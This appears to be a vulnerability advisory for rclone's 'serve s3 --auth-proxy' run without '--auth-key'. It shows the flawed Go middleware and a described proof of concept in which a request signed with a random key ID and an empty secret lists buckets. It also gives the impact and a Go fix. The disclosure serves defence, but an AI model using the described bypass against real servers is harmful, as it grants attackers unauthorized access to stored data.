Details Vulnerable code (before fix): go func authPairMiddleware(next http.Handler, ws Server) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { accessKey, := parseAccessKeyID(r) authPair := map[string]string{accessKey: ws.s3Secret} ws.faker.AddAuthKeys(authPair) next.ServeHTTP(w, r) }) }
PoC Built and signed a request by hand (via the vendored github.com/aws/aws-sdk-go-v2/aws/signer/v4) using a freshly-random access key ID never configured or returned by anything, with SecretAccessKey: "", against a real rclone serve s3 --auth-proxy <script> instance with no --auth-key set: status=200 <ListAllMyBucketsResult>...<Bucket><Name>mybucket</Name>... A fully authenticated, successful bucket listing, with zero prior credential knowledge.
Impact Any network-reachable, unauthenticated attacker who knows (or discovers) that a target is running rclone serve s3 --auth-proxy without --auth-key can choose an arbitrary access key ID, sign a request against an empty secret, and be treated as an authenticated user by the auth-proxy script - reaching whatever backend that script resolves the chosen identity to. No credentials, prior access, or user interaction of any kind are required.
Fix Refuse to start rclone serve s3 when --auth-proxy is set without --auth-key, rather than silently falling back to a signature check that authenticates nobody: go if proxyOpt.AuthProxy != "" && len(opt.AuthKey) == 0 { return nil, errors.New("serve s3: --auth-proxy requires --auth-key to also be set (SigV4 has no other way to verify a signature for a dynamically-proxied identity)") } Note this is a minimal fix for the zero-knowledge bypass; once --auth-key is also set, every access key ID still shares that one static secret for signature-verification purposes (a caller who knows it can request any identity from the proxy script) - a narrower, pre-existing limitation flagged for awareness but not changed here, since a complete fix needs the auth-proxy wire protocol to carry a per-identity secret for S3 specifically (a larger design change).